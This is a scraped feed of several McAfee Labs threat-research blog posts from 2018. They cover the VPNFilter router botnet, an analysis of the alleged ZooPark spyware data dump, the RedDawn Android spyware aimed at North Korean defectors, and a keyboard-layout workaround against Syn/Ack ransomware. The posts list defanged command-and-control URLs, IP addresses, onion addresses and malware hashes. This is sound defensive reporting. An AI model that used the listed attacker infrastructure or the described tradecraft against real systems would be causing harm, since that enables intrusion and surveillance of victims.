  • 2FFBE27983BC5C6178B2D447D8121CEFAA5FFA87FE7B9E4F68272CE54787492F
  • 313D29F490619E796057D50BA8F1D4B0B73D4D4C6391CF35BAAAACE71EA9AC37
  • 33D6414DCF91B9A665D38FAF4AE1F63B7AA4589FE04BDD75999A5E429A53364A
  • 350EAA2310E81220C409F95E6E1E53BEADEC3CFFA3F119F60D0DAACE35D95437
  • 36E3D47F33269BEF3E6DD4D497E93ECE85DE77258768E2FA611137FA0DE9A043
  • 375EDEDC5C20AF22BDC381115D6A8CE2F80DB88A5A92EBAA43C723A3D27FB0D6
  • 39DC1ADED01DAAF01890DB56880F665D6CAFAB3DEA0AC523A48AA6D6E6346FFF
  • 3BBDF7019ED35412CE4B10B7621FAF42ACF604F91E5EE8A903EB58BDE15688FF
  • 3BD34426641B149C40263E94DCA5610A9ECFCBCE69BFDD145DFF1B5008402314
  • 3DF17F01C4850B96B00E90C880FDFABBD11C64A8707D24488485DD12FAE8EC85
  • 4497AF1407D33FAA7B41DE0C4D0741DF439D2E44DF1437D8E583737A07EC04A1
  • 47F521BD6BE19F823BFD3A72D851D6F3440A6C4CC3D940190BDC9B6DD53A83D6
  • 4896F0E4BC104F49901C07BC84791C04AD1003D5D265AB7D99FD5F40EC0B327F
  • 48BFCBC3162A0B00412CBA5EFF6C0376E1AE4CFBD6E35C9EA92D2AB961C90342
  • 49A0E5951DBB1685AAA1A6D2ACF362CBF735A786334CA131F6F78A4E4C018ED9
  • 4AF2F66D7704DE6FF017253825801C95F76C28F51F49EE70746896DF307CBC29
  • 4BEBA775F0E0B757FF32EE86782BF42E997B11B90D5A30E5D65B45662363ECE2
  • 4BFC43761E2DDB65FEDAB520C6A17CC47C0A06EDA33D11664F892FCF08995875
  • 4C596877FA7BB7CA49FB78036B85F92B581D8F41C5BC1FA38476DA9647987416
  • 4D6CBDE39A81F2C62D112118945B5EEB1D73479386C962ED3B03D775E0DCCFA0
  • 4E022E4E4EE28AE475921C49763EE620B53BF11C2AD5FFFE018AD09C3CB078CC
  • 4FA1854FBEC31F87AE306034FD01567841159CA7793EBA58B90BE5F7FC714D62
  • 4FFE074AD2365DFB13C1C9CE14A5E635B19ACB34A636BAE16FAF9449FB4A0687
  • 51E92BA8DAC0F93FC755CB98979D066234260EAFC7654088C5BE320F431A34FA
  • 579B2E6290C1F7340795E42D57BA300F96AEF035886E80F80CD5D0BB4626B5FC
  • 5BE57B589E5601683218BB89787463CA47CE3B283D8751820D30EEE5E231678C
  • 5CF43C433FA1E253E937224254A63DC7E5AD6C4B3AB7A66EC9DB76A268B4DEEB
  • 5D94D2B5F856E5A1FC3A3315D3CD03940384103481584B80E9D95E29431F5F7A
  • 5DABBCE674B797AAA42052B501FB42B20BE74D9FFCB0995D933FBF786C438178
  • 5E715754E9DA9ED972050513B4566FB922CD87958ECF472D1D14CD76923AE59A
  • 5F6EE521311E166243D3E65D0253D12D1506750C80CD21F6A195BE519B5D697F
  • 638957E2DEF5A8FDA7E3EFEFFF286E1A81280D520D5F8F23E037C5D74C62553C
  • 6449AAF6A8153A9CCBCEF2E2738F1E81C0D06227F5CF4823A6D113568F305D2A
  • 6807497869D9B4101C335B1688782AB545B0F4526C1E7DD5782C9DEB52EE3DF4
  • 6A76E3E98775B1D86B037B5EE291CCFCFFB5A98F66319175F4B54B6C36D2F2BF
  • 6D8877B17795BB0C69352DA59CE8A6BFD7257DA30BD0370EED8428FAD54F3128
  • 6E7BBF25EA4E83229F6FA6B2FA0F880DDE1594A7BEC2AAC02FF7D2D19945D036
  • 7093CC81F32C8CE5E138A4AF08DE6515380F4F23ED470B89E6613BEE361159E1
  • 70C271F37DC8C3AF22FDCAD96D326FE3C71B911A82DA31A992C05DA1042AC06D
  • 776CB9A7A9F5AFBAFFDD4DBD052C6420030B2C7C3058C1455E0A79DF0E6F7A1D
  • 78FEE8982625D125F17CF802D9B597605D02E5EA431E903F7537964883CF5714
  • 797E31C6C34448FBECDA10385E9CCFA7239BB823AC8E33A4A7FD1671A89FE0F6
  • 7A66D65FA69B857BEEEAAEF67EC835900EEE09A350B6F51F51C83919C9223793
  • 7E5DCA90985A9FAC8F115EAACD8E198D1B06367E929597A3DECD452AAA99864B
  • 7EE215469A7886486A62FEA8FA62D3907F59CF9BF5486A5FE3A0DA96DABEA3F9
  • 7F6F7C04826C204E2FC5C1EDDB8332AFE1669A4856229921C227694899E7ADA8
  • 80C20DB74C54554D9936A627939C3C7EA44316E7670E2F7F5231C0DB23BC2114
  • 81CBE57CD80B752386EE707B86F075AD9AB4B3A97F951D118835F0F96B3AE79D
  • 82CD8467E480BCD2E2FC1EFB5257BBE147386F4A7651D1DA2BFD0AB05E3D86B9
  • 840BA484395E15782F436A7B2E1EEC2D4BF5847DFD5D4787AE64F3A5F668ED4F
  • 8505ECE4360FAF3F454E5B47239F28C48D61C719B521E4E728BC12D951ECF315
  • 879BE2FA5A50B7239B398D1809E2758C727E584784BA456D8B113FC98B6315A2
  • 8A20DC9538D639623878A3D3D18D88DA8B635EA52E5E2D0C2CCE4A8C5A703DB1
  • 8DE0F244D507B25370394BA158BD4C03A7F24C6627E42D9418FB992A06EB29D8
  • 8F3E1E3F0890AD40D7FA66939561E20C0E5FD2A02B1DEA54F3899AFF9C015439
  • 90EFCAEAC13EF87620BCAAF2260A12895675C74D0820000B3CD152057125D802
  • 94EEFB8CF1388E431DE95CAB6402CAA788846B523D493CF8C3A1AA025D6B4809
  • 952F46C5618BF53305D22E0EAE4BE1BE79329A78AD7EC34232F2708209B2517C
  • 95840BD9A508CE6889D29B61084EC00649C9A19D44A29AEDC86E2C34F30C8BAF
  • 98112BD4710E6FFE389A2BEB13FF1162017F62A1255C492F29238626E99509F3
  • 99944AD90C7B35FB6721E2E249B76B3E8412E7F35F6F95D7FD3A5969EAA99F3D
  • 9B039787372C6043CCE552675E3964BF01DE784D1332DDC33E4419609A6889F1
  • 9B455619B4CBFEB6496C1246BA9CE0E4FFA6736FD536A0F99686C7E185EB2E22
  • A15B871FCB31C032B0E0661A2D3DD39664FA2D7982FF0DBC0796F3E9893AED9A
  • A168D561665221F992F51829E0B282EEB213B8ACA3A9735DBBAECC4D699F66B9
  • A3CF96B65F624C755B46A68E8F50532571CEE74B3C6F7E34EECB514A1EB400CF
  • A41DA0945CA5B5F56D5A868D64763B3A085B7017E3568E6D49834F11952CB927
  • A6E3831B07AB88F45DF9FFAC0C34C4452C76541C2ACD215DE8D0109A32968ACE
  • AB789A5A10B4C4CD7A0EB92BBFCF2CC50CB53066838A02CFB56A76417DE379C5
  • ACF32F21EC3955D6116973B3F1A85F19F237880A80CDF584E29F08BD12666999
  • AE1353E8EFE25B277F52DECFAB2D656541FFDF7FD10466D3A734658F1BC1187A
  • AE74F62881EB224E58F3305BB1DA4F5CB7CCFF53C24AB05DB622807D74E934FB
  • AFACB38EA3A3CAFE0F8DBD26DEE7DE3D0B24CDECAE280A9B884FBAD5ED195DE7
  • B0EDF66D4F07E5F58B082F5B8479D48FBAB3DBE70EBA0D7E8254C8D3A5E852EF
  • B431AEBC2783E72BE84AF351E9536E8110000C53EBB5DB25E89021DC1A83625E
  • B9770EC366271DACDAE8F5088218F65A6C0DD82553DD93F41EDE586353986124
  • BA9FEE47DCC7BAD8A7473405AABF587E5C8D396D5DD5F6F8F90F0FF48CC6A9CE
  • BAD8A5269E38A2335BE0A03857E65FF91620A4D1E5211205D2503EF70017B69C
  • BC51836048158373E2B2F3CDB98DC3028290E8180A4E460129FEF0D96133EA2E
  • BE3DDD71A54EC947BA873E3E10F140F807E1AE362FD087D402EFF67F6F955467
  • BFD028F78B546EDA12C0D5D13F70AB27DFF32B04DF3291FD46814F486BA13693
  • C084C20C94DBBFFED76D911629796744EFF9F96D24529B0AF1E78CDA54CDBF02
  • C0CFB87A8FAED76A41F39A4B0A35AC6847FFC6AE2235AF998EE1B575E055FAC2
  • C2BCDE93227EB1C150E555E4590156FE59929D3B8534A0E2C5F3B21EDE02AFA0
  • C8A82876BEED822226192EA3FE01E3BD1BB0838AB13B24C3A6926BCE6D84411B
  • CA0BB6A819506801FA4805D07EE2EBAA5C29E6F5973148FE25ED6D75089C06A7
  • CCCBF9BFF47B3FD391274D322076847A3254C95F95266EF06A3CA8BE75549A4B
  • CD8CF5E6A40C4E87F6EE40B9732B661A228D87D468A458F6DE231DD5E8DE3429
  • D09F88BAF33B901CC8A054D86879B81A81C19BE45F8E05484376C213F0EEDDA2
  • D1BC07B962CCC6E3596AA238BB7EDA13003EA3CA95BE27E8244E485165642548
  • D1E6EC5761F78899332B170C4CA7158DCCD3463DAB2E58E51E5B6C0D58C7D84F
  • D2DE662480783072B82DD4D52AB6C57911A1E84806C229F614B26306D5981D98
  • D9A60A47E142DDD61F6C3324F302B35FEECA684A71C09657DDB4901A715BD4C5
  • DBEDE977518143BCEE6044ED86B8178C6FC9D454FA346C089523EEDEE637F3BE
  • DD88273437031498B485C380968F282D09C9BD2373EF569952BC7496EBADADDE
  • E6C5437E8A23D50D44EE47AD6E7CE67081E7926A034D2AC4C848F98102DDB2F8
  • E70A8E8B0CD3C59CCA8A886CAA8B60EFB652058F50CC9FF73A90BC55C0DC0866
  • E74AE353B68A1D0F64B9C8306B2DB46DFC760C1D91BFDF05483042D422BFF572
  • E7AEE375215E33FC5AEBD7811F58A09C37D23E660F3250D3C95AEC48AD01271C
  • E7F65AEEC592B047AC1726EF0D8245229041474A2A71B7386E72AD5DB075F582
  • EAF879370387A99E6339377A6149E289655236ACC8DE88324462DCD0F22383FF
  • EC88FE46732D9AA6BA53EED99E4D116B7444AFD2A52DB988EA82F883F6D30268
  • EEB3981771E448B7B9536BA5D7CD70330402328A884443A899696A661E4E64E5
  • EEC5CD045F26A7B5D158E8289838B82E4AF7CF4FC4B9048EAF185B5186F760DB
  • F30A0FE494A871BD7D117D41025E8D2E17CD545131E6F27D59B5E65E7AB50D92
  • F3D0759DFAB3FBF8B6511A4D8B5FC087273A63CBB96517F0583C2CCE3FF788B8
  • F4F0117D2784A3B8DFEF4B5CB7F2583DD4100C32F9EE020F16402508E073F0A1
  • F5D06C52FE4DDCA0EBC35FDDBBC1F3A406BDAA5527CA831153B74F51C9F9D1B0
  • F989DF3AEEDE247A29A1F85FC478155B9613D4A416428188EDA1A21BD481713A
  • FA229CD78C343A7811CF8314FEBBC355BB9BAAB05B270E58A3E5D47B68A7FC7D
  • FA4B286EEAF7D74FE8F3FB36D80746E18D2A7F4C034AE6C3FA4C917646A9E147
  • FC9594611445DE4A0BA30DAF60A7E4DEC442B2E5D25685E92A875ACA2C0112C9
  • FCB6FF6A679CA17D9B36A543B08C42C6D06014D11002C09BA7C38B405B50DEBE
  • FE46A19803108381D2E8B5653CC5DCE1581A234F91C555BBFFF63B289B81A3DC
  • FF118EDB9312C85B0B7FF4AF1FC48EB1D8C7C8DA3C0E1205C398D2FE4A795F4B
  • FF471A98342BAFBAB0D341E0DB0B3B9569F806D0988A5DE0D8560B6729875B3E
  • FF70462CB3FC6DDD061FBD775BBC824569F1C09425877174D43F08BE360B2B58
  • FFB0E244E0DABBAABF7FEDD878923B9B30B487B3E60F4A2CF7C0D7509B6963BA

The post VPNFilter Malware Adds Capabilities to Exploit Endpoints appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/vpnfilter-malware-adds-capabilities-to-exploit-endpoints/feed/ 0
VPNFilter Botnet Targets Networking Devices https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/vpnfilter-botnet-targets-networking-devices/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/vpnfilter-botnet-targets-networking-devices/#respond Wed, 23 May 2018 21:28:28 +0000 https://securingtomorrow.mcafee.com/?p=89060 VPNFilter is a botnet with capabilities to support both intelligence collection and destructive cyberattack operations. The Cisco Talos team recently notified members of the Cyber Threat Alliance (CTA) of its findings and published this blog.

The post VPNFilter Botnet Targets Networking Devices appeared first on McAfee Blogs.

]]>
VPNFilter is a botnet with capabilities to support both intelligence collection and destructive cyberattack operations. The Cisco Talos team recently notified members of the Cyber Threat Alliance (CTA) of its findings and published this blog.

The malware is believed to target networking devices, although the malware’s initial infection vector is still unclear. Talos, which first reported this attack, claims that it has impacted at least 500,000 networking devices during the last few years. The malware can persist on infected devices and can steal website credentials and monitor Modbus SCADA protocols. It also implements file collection, command execution, data extraction, and device management and, even worse, it can render some or all of the infected devices unusable.

The known devices affected by VPNFilter are some network-attached storage (NAS) devices such as Linksys, MikroTik, Netgear, and TP-Link networking equipment in the small and home office (SOHO) space, as well at QNAP.

Malware infection stages

VPNFilter has a three-stage infection.

Stage 1 completes the persistence on the system and uses multiple control mechanisms to find and connect the Stage 2 deployment server.

Stage 2 focuses on file collection, command execution, data extraction, and device management. Some versions possess a self-destruct capability to render itself unusable.

Stage 3 includes two known modules:

  • A traffic sniffer to steal website credentials and monitor Modbus SCADA protocols
  • Tor to communicate with anonymous addresses 

Indicators of compromise and sample hashes

URLs and IPs

photobucket[.]com/user/nikkireed11/library
photobucket[.]com/user/kmila302/library
photobucket[.]com/user/lisabraun87/library
photobucket[.]com/user/eva_green1/library
photobucket[.]com/user/monicabelci4/library
photobucket[.]com/user/katyperry45/library
photobucket[.]com/user/saragray1/library
photobucket[.]com/user/millerfred/library
photobucket[.]com/user/jeniferaniston1/library
photobucket[.]com/user/amandaseyfried1/library
photobucket[.]com/user/suwe8/library
photobucket[.]com/user/bob7301/library
toknowall[.]com

91.121.109[.]209
217.12.202[.]40
94.242.222[.]68
82.118.242[.]124
46.151.209[.]33
217.79.179[.]14
95.211.198[.]231
195.154.180[.]60
5.149.250[.]54
91.200.13[.]76
94.185.80[.]82
62.210.180[.]229
91.200.13[.]76
91.214.203[.]144
6b57dcnonk2edf5a[.]onion/bin32/update.php
tljmmy4vmkqbdof4[.]onion/bin32/update.php
zuh3vcyskd4gipkm[.]onion/bin32/update.php
6b57dcnonk2edf5a[.]onion/bin32/update.php

File hashes

  • First-Stage Malware
    • 50ac4fcd3fbc8abcaa766449841b3a0a684b3e217fc40935f1ac22c34c58a9ec
    • 0e0094d9bd396a6594da8e21911a3982cd737b445f591581560d766755097d92
  • Second-Stage Malware
    • 9683b04123d7e9fe4c8c26c69b09c2233f7e1440f828837422ce330040782d17
    • d6097e942dd0fdc1fb28ec1814780e6ecc169ec6d24f9954e71954eedbc4c70e
    • 4b03288e9e44d214426a02327223b5e516b1ea29ce72fa25a2fcef9aa65c4b0b
    • 9eb6c779dbad1b717caa462d8e040852759436ed79cc2172692339bc62432387
    • 37e29b0ea7a9b97597385a12f525e13c3a7d02ba4161a6946f2a7d978cc045b4
    • 776cb9a7a9f5afbaffdd4dbd052c6420030b2c7c3058c1455e0a79df0e6f7a1d
    • 8a20dc9538d639623878a3d3d18d88da8b635ea52e5e2d0c2cce4a8c5a703db1
    • 0649fda8888d701eb2f91e6e0a05a2e2be714f564497c44a3813082ef8ff250b
  • Third-Stage Malware
    • f8286e29faa67ec765ae0244862f6b7914fcdde10423f96595cb84ad5cc6b344
    • afd281639e26a717aead65b1886f98d6d6c258736016023b4e59de30b7348719

Coverage and mitigation

The aforementioned IOCs are covered as follows:

  • Detection names for files: Linux/VPNFilter and Linux/VPNFilter.a
    • V3 DAT with coverage version: 3353
    • V2 DAT with coverage version: 8902
  • All samples are GTI classified as malware
  • All relevant URLs are GTI classified

Further recommendations from the Talos threat research team:

  • Reboot SOHO routers and NAS devices to remove the potentially destructive, nonpersistent Stage 2 and Stage 3 malware
  • Work with the manufacturer to ensure that your device is up to date with the latest patches. Apply the updated patches immediately.

ISPs should work aggressively with their customers to ensure their devices are patched to the most recent firmware/

The post VPNFilter Botnet Targets Networking Devices appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/vpnfilter-botnet-targets-networking-devices/feed/ 0
It’s a Zoo Out There! Data Analysis of Alleged ZooPark Dump https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/its-a-zoo-out-there-data-analysis-of-alleged-zoopark-dump/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/its-a-zoo-out-there-data-analysis-of-alleged-zoopark-dump/#respond Mon, 21 May 2018 22:00:20 +0000 https://securingtomorrow.mcafee.com/?p=88977 In early May, researchers disclosed a Mobile malware campaign by a group focused on Middle Eastern targets. This actor was found to be an evolving and sophisticated group using fake Android apps, namely Telegram, to trick users into installing malicious software. They have been active since 2015 and evolved over several campaigns into 2018. On […]

The post It’s a Zoo Out There! Data Analysis of Alleged ZooPark Dump appeared first on McAfee Blogs.

]]>
In early May, researchers disclosed a Mobile malware campaign by a group focused on Middle Eastern targets. This actor was found to be an evolving and sophisticated group using fake Android apps, namely Telegram, to trick users into installing malicious software. They have been active since 2015 and evolved over several campaigns into 2018. On May 14, a Reddit post linked to LamePT, claiming to have leaked their infrastructure including a database containing victim information.

Figure 1 – Screenshot of the site hosting the leaked data

The current leaked assets include:

  • MYSQL database
  • Audio recordings
  • The old C2 server and assets
  • AppData folder (presumably of the C2 server)
  • Current C2 server and control panel

Further leaked documents are behind a paywall payable to a fresh bitcoin address. The first payment was made on May 13th, 2018 leaving a balance of $1,110.87. It’s difficult to verify if someone paid to have the first dataset released or the actor paid themselves to appear more authentic. With that said, the authenticity of the data is still in question as we have some significant doubts on at least a portion of the data. For example, the following SMS caught our attention:

“Wife.how she knew the time of murder exactly”.

This text can be found in an SMS spam dataset used for training spam engines. Many other English based SMS messages can also be found here. “will be office around 4 pm. Now I am going hospital” is another example. Universities tend to use these datasets to teach computer science concepts. In this case, the concept is likely related to machine learning techniques for categorizing messages into spam. One university came up often when searching for these messages based on its Computer Science I: Fundamentals homework postings. Other messages could be found in cached websites.

“Credit shuma ka mast jahat ezdiad credit ba hesab tan shumarai 222 ra dair namoda w aba taqeeb aan code 14 raqami ra dakhel nomaed .”

This translates to “Credit card is not available for sale at 222 days or less than 142 days.” and found cached in a language translation site. This particular phrase was being translated from Turkish to Urdu. Not all of the messages were found publicly online. Most of the messages were in Middle Eastern languages presenting its own challenges. Other sources were found such as Facebook posts; however, sources for the vast majority of the SMS message have not yet been located. For these reasons, we remain skeptical of the authenticity of the data.

Figure 2 – Facebook post with the same text as an SMS message

Other data such as the recordings do not appear to be publicly available. After sampling 100 of these files we’ve found them to sound like authentic recordings. The majority are in 7 minute 59 second .3gpp files. Most appear to be ambient conversations and daily activities and not phone calls as was expected. Searching for public audio is difficult but we can verify that the hashes of the 100 are not publicly indexed by major search engines nor are the file names themselves.

Until we know for certain whether the data is authentic we cannot grantee that this data dump represents ZooPark and its capabilities but we can look at what they could be up to. After reviewing the leaked MySQL database we’ve learned much about the ZooPark’s potential operations.

Tables Included:

  • Appinfotracking
  • Audiotracking
  • Calltracking
  • Emailtracking
  • geolog
  • gpslocation
  • phonebookaccess
  • phototracking
  • recordcall
  • registration
  • sales_user_info
  • settings
  • smstracking
  • urltracking

From the table names alone, we can infer a lot of the access ZooPark had to user devices and the data they were after. Call tracing, phonebook access, and SMS tracking are unfortunately very common to collect amongst malicious app developers. However, audio tracking caught our attention. While we are still analyzing the dataset, the database records indicate over 102,571 recordings have been uploaded to their C2 server between 2015 and 2018. The dump contains approximately 3,887 of these, jeopardizing private and potentially highly sensitive conversations. Our sampling of these files indicate that the audio was recorded in roughly 8-minute blocks. Most, but not all audio files took place with time gaps between them. There was at least one group conversation that continued on for at least 3 recorded blocks. A surprisingly low number of phone numbers generated these recordings. Only eight phone numbers are part of the recording available through this data dump.

Other conversations were also captured such as SMS texts although portions of these have been found publicly in open datasets. Conceivably, these could have been generated by researchers investigating the malicious Android apps but it’s more likely they were generated by the data leaker to sell the dump. The SMS texts contain much of what you expect such as general chat, and advertisements. However, it’s also riddled with embarrassing or explicit texts which could be used against the users should they prove legitimate. Additionally, we’ve found cleartext two-factor authentication messages from major services such as Google and LinkedIn, and popular chat apps such as Telegram. ZooPark could have used these to gain access to additional services unbeknownst to the victims. After attempting and failing to rebuild several English based conversations we have little confidence that the entire data set came from ZooPark. However, It does exemplify the real danger of sensitive conversations being collected by Zoopark and available for their operations.

Another surprising find is in the Appinfotracking table, where there are 1541 unique apps listed, indicating a very large campaign. Here are a few notable ones:

  • Youtube
  • Wikipedia
  • WhatsApp
  • WinZip
  • Weather
  • VLC
  • Twitter
  • Telegram
  • TrueCaller
  • Tango
  • Pinterest
  • ICQ
  • Flashlight
  • Facebook
  • DUO
  • Dropbox
  • Crunchyroll

There were relatively few games listed compared to other social and utility apps, perhaps suggesting a more utilitarian or professional target. Approximately, 92 phone numbers are listed in relation to the apps. Of the GPS coordinates we’ve checked the middle east is still the main focus, with a significant footprint in Egypt.

While the data leakers request is for Bitcoin payment, we believe they are primarily interested in acquiring Monero coin. Once payments are made the actors use a popular tool called ShapeShift to turn the Bitcoin into Monero (XMR). Shapeshift allows the actors to pay in from one cryptocoin and receive a payout in another without creating an account for the service. The added Monero features enable them to maintain greater anonymity during the transfer. It is anonymity that usually motivates cybercriminals to move to Monero.  Monero coins are of interest due to their improved anonymity and privacy-related improvements, making it difficult to for law enforcement and security researchers to trace.

Shapeshift Transaction from BitCoin (BTC) to Monero (XMR)

The actor who leaked this data is obviously motivated by money as evidenced by the requested payment for further data leaks. Fake datasets, especially those that contain credit card information, email addresses and passwords, have been known to be for sale to scam other cybercriminals. It’s a distinct possibility that this could be the case with the current data dump but it has yet to be determined. However, competition also can play a primary motivator. Many times competing bad actors will attempt to sabotage others in the space. Altruism can play a role as well. Some vigilante actors may believe that their motivations are for the greater good regardless of the laws they break and collateral damage. Whatever the motivations are, data leaks like these can be embarrassing, damaging and in some cases dangerous for the victims whose information it may contain.
Other points of interest:

  • There are a surprisingly low number of unique victim numbers in the database with only 169.
  • The latest URL record is as recent as May 12,2018
  • The latest SMS record is as recent as May 8,2018
  • 81 unique numbers had 47,784 records of GPS data stored

Bitcoin Address:

  • 1AUMs2ieZ7qN4d3M1oUPCuP3CH9WGQxpbd

The post It’s a Zoo Out There! Data Analysis of Alleged ZooPark Dump appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/its-a-zoo-out-there-data-analysis-of-alleged-zoopark-dump/feed/ 0
Malware on Google Play Targets North Korean Defectors https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/malware-on-google-play-targets-north-korean-defectors/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/malware-on-google-play-targets-north-korean-defectors/#respond Thu, 17 May 2018 13:31:50 +0000 https://securingtomorrow.mcafee.com/?p=88857 Earlier this year, McAfee researchers predicted in the McAfee Mobile Threat Report that we expect the number of targeted attacks on mobile devices to increase due to their ubiquitous growth combined with the sophisticated tactics used by malware authors.

The post Malware on Google Play Targets North Korean Defectors appeared first on McAfee Blogs.

]]>
Earlier this year, McAfee researchers predicted in the McAfee Mobile Threat Report that we expect the number of targeted attacks on mobile devices to increase due to their ubiquitous growth combined with the sophisticated tactics used by malware authors. Last year we posted the first public blog about the Lazarus group operating in the mobile landscape. Our recent discovery of the campaign we have named RedDawn on Google Play just a few weeks after the release of our report proves that targeted attacks on mobile devices are here to stay.

RedDawn is the second campaign we have seen this year from the “Sun Team” hacking group. In January, the McAfee Mobile Research Team wrote about Android malware targeting North Korean defectors and journalists. McAfee researchers recently found new malware developed by the same actors that was uploaded on Google Play as “unreleased” versions. We notified both Google, which has removed the malware from Google Play, and the Korea Internet & Security Agency.

Our findings indicate that the Sun Team is still actively trying to implant spyware on Korean victims’ devices. (The number of North Korean defectors who came to South Korea exceeded 30,000 in 2016, according to Radio Free Asia.) Once the malware is installed, it copies sensitive information including personal photos, contacts, and SMS messages and sends them to the threat actors. We have seen no public reports of infections. We identified these malwares at an early stage; the number of infections is quite low compared with previous campaigns, about 100 infections from Google Play.

Malware on Google Play

Malware uploaded on Google Play (now deleted).

We found three apps uploaded by the actor we named Sun Team, based on email accounts and Android devices used in the previous attack. The first app in this attack, 음식궁합 (Food Ingredients Info), offers information about food; the other two apps, Fast AppLock and AppLockFree, are security related. 음식궁합 and Fast AppLock secretly steal device information and receive commands and additional executable (.dex) files from a cloud control server. We believe that these apps are multi-staged, with several components. AppLockFree is part of the reconnaissance stage we believe, setting the foundation for the next stage unlike the other two apps. The malwares were spread to friends, asking them to install the apps and offer feedback via a Facebook account with a fake profile promoted 음식궁합.

Links to Previous Operations

After infecting a device, the malware uses Dropbox and Yandex to upload data and issue commands, including additional plug-in dex files; this is a similar tactic to earlier Sun Team attacks. From these cloud storage sites, we found information logs from the same test Android devices that Sun Team used for the malware campaign we reported in January. The logs had a similar format and used the same abbreviations for fields as in other Sun Team logs. Further, the email addresses of the new malware’s developer are identical to the earlier email addresses associated with the Sun Team. The relationship among email addresses and test devices is explained in the following diagram.

The use of identical email addresses ties the two malware campaigns to the same attacker.

About the Actors

After tracking Sun Team’s operations, we were able to uncover different versions of their malware. Following diagram shows the timeline of the versions.

Timeline of different malware versions of Sun Team.

Timeline shows us that malwares became active in 2017. Sun Team’s only purpose is to extract information from devices as all of the malwares are spywares. Malwares on Google Play stayed online for about 2 months before being deleted.

In our post of the earlier attack by this actor, we observed that some of the Korean words found on the malware’s control server are not in South Korean vocabulary and that an exposed IP address points to North Korea. Also, Dropbox accounts were names from South Korean drama or celebrities.

In the new malware on Google Play, we again see that the Korean writing in the description is awkward. As in the previous operation, the Dropbox account name follows a similar pattern of using names of celebrities, such as Jack Black, who appeared on Korean TV. These features are strong evidence that the actors behind these campaigns are not native South Koreans but are familiar with the culture and language. These elements are suggestive though not a confirmation of the nationality of the actors behind these malware campaigns.

Sun Team’s test devices originate from various countries.

Moreover, we uncovered information about the attacker’s Android test devices and exploits they tried to use. The devices are manufactured in several countries and carry installed Korean apps, another clue that the threat actors can read Korean. The exploits codes were found uploaded on one of the cloud storages used by Sun Team which are modified versions of publicly available sandbox escape, privilege escalation, code execution exploits that added functions to drop their own Trojans on victims’ devices. The modified exploits suggest that the attackers are not skillful enough to find zero days and write their own exploits. However, it is likely just a matter of time before they start to exploit vulnerabilities.

Modified exploits installing the Sun Team’s Trojan.

The most concerning thing about this Sun Team operation is that they use photos uploaded on social network services and identities of South Koreans to create fake accounts. We have found evidence that some people have had their identities stolen; more could follow. They are using texting and calling services to generate virtual phone numbers so they can sign up for South Korean online services.

Conclusion

This malware campaign used Facebook to distribute links to malicious apps that were labeled as unreleased versions. From our analysis, we conclude that the actor behind both campaigns is Sun Team. Be cautious when installing unreleased or beta versions of any app. Also, check the number of downloads to see if an app is widely installed; avoid obscure apps.

McAfee Mobile Security detects this malware as Android/RedDawn.A, B. Always keep your mobile security application updated to the latest version.

The post Malware on Google Play Targets North Korean Defectors appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/malware-on-google-play-targets-north-korean-defectors/feed/ 0
Syn/Ack Unique Proactive Protection Technique https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/syn-ack-unique-proactive-protection-technique/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/syn-ack-unique-proactive-protection-technique/#respond Fri, 11 May 2018 20:00:10 +0000 https://securingtomorrow.mcafee.com/?p=88828 McAfee’s Advanced Threat Research team has performed analysis on samples of Syn/Ack ransomware implementing Process Doppelgänging.  For those who are concerned about the potential impact of this ransomware but are currently unable to implement McAfee product protections, we have found a simple but interesting alternative method.  Prior to encryption and ransom, the malware first checks […]

The post Syn/Ack Unique Proactive Protection Technique appeared first on McAfee Blogs.

]]>
McAfee’s Advanced Threat Research team has performed analysis on samples of Syn/Ack ransomware implementing Process Doppelgänging.  For those who are concerned about the potential impact of this ransomware but are currently unable to implement McAfee product protections, we have found a simple but interesting alternative method.  Prior to encryption and ransom, the malware first checks if one of several hardcoded keyboards or languages is installed on the target machine.  If found, the malicious code will terminate, effectively resulting in an extremely simple “patch” of sorts. We have tested the following steps to be effective on several versions of Windows 7 and theoretically on Windows 10 – preventing the malware from encryption and ransom.  These steps can be taken proactively.  Due to limited scope of testing at this time, this technique may not work on all systems, release versions, and configurations.

Windows 7 – Adding Keyboard Layout:

Control Panel > Clock, Language, and Region > Region and Language > Keyboards and Languages

Click the “Change Keyboards” tab

In the Installed Services section click “add”

Select Keyboard – For example: Russian (Russia) > Keyboard > Russian

Click “Ok”

Click “Apply”

Click “Ok”

Here is the list of keyboards layouts you can add – any will suffice:

  • Armenian
  • Azeri, (Cyrillic, Azerbaijan)
  • Belarusian
  • Georgian
  • Kazakh
  • Ukrainian
  • Uzbek (Cryillic, Uzbekistan)
  • Uzbek (Latin,Uzbekistan)
  • Russian
  • Tajik

Windows 10 – Adding Language Support:

Control Panel > Language > Add a language

  • Armenian
  • Azeri, (Cyrillic, Azerbaijan)
  • Belarusian
  • Georgian
  • Kazakh
  • Ukrainian
  • Uzbek (Cryillic, Uzbekistan)
  • Uzbek (Latin,Uzbekistan)
  • Russian
  • Tajik

That’s all it takes!  Please note – this should not be considered a fully effective or long-term strategy.  It is highly likely the malware will change based on this finding; thus, we recommend the McAfee product protections referenced above for best effect.

The post Syn/Ack Unique Proactive Protection Technique appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/syn-ack-unique-proactive-protection-technique/feed/ 0
